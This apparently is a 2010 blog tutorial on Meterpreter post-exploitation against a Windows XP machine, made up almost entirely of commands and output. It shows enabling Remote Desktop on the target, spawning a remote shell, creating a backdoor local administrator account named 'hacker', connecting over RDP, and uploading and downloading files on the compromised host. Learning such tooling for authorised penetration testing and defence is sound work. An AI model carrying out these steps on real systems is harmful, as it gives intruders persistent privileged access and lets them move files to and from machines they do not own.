Wednesday, September 15, 2010

Tutorial: Interacting with Meterpreter

Enabling Remote Desktop

meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
sniff..

Open a command shell

meterpreter > shell
Process 1616 created.
Channel 23 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator>


Create a local user account and add it as a member of local administrators group

C:\Documents and Settings\Administrator>net user hacker P@ssw0rd /add
net user hacker P@ssw0rd /add
The command completed successfully.

C:\Documents and Settings\Administrator>net localgroup administrators hacker /add
net localgroup administrators hacker /add
The command completed successfully.

C:\Documents and Settings\Administrator>^C
Terminate channel 2? [y/N] y

Open another command shell then launch Remote Desktop client to connect to the target machine.

root@bt:~# rdesktop 131.107.1.50
WARNING: Remote desktop does not support colour depth 24; falling back to 16

Upload file

meterpreter > upload /tmp/hacked.txt "C:\\Documents and Settings\\Administrator\\Desktop\\hacked.txt"
[*] uploading : /tmp/hacked.txt -> C:\Documents and Settings\Administrator\Desktop\hacked.txt
[*] uploaded : /tmp/hacked.txt -> C:\Documents and Settings\Administrator\Desktop\hacked.txt

Download file

meterpreter > download C:\\WINDOWS\\System32\\calc.exe /tmp
[*] downloading: C:\WINDOWS\System32\calc.exe -> /tmp
[*] downloaded : C:\WINDOWS\System32\calc.exe -> /tmp/calc.exe

No comments:

Post a Comment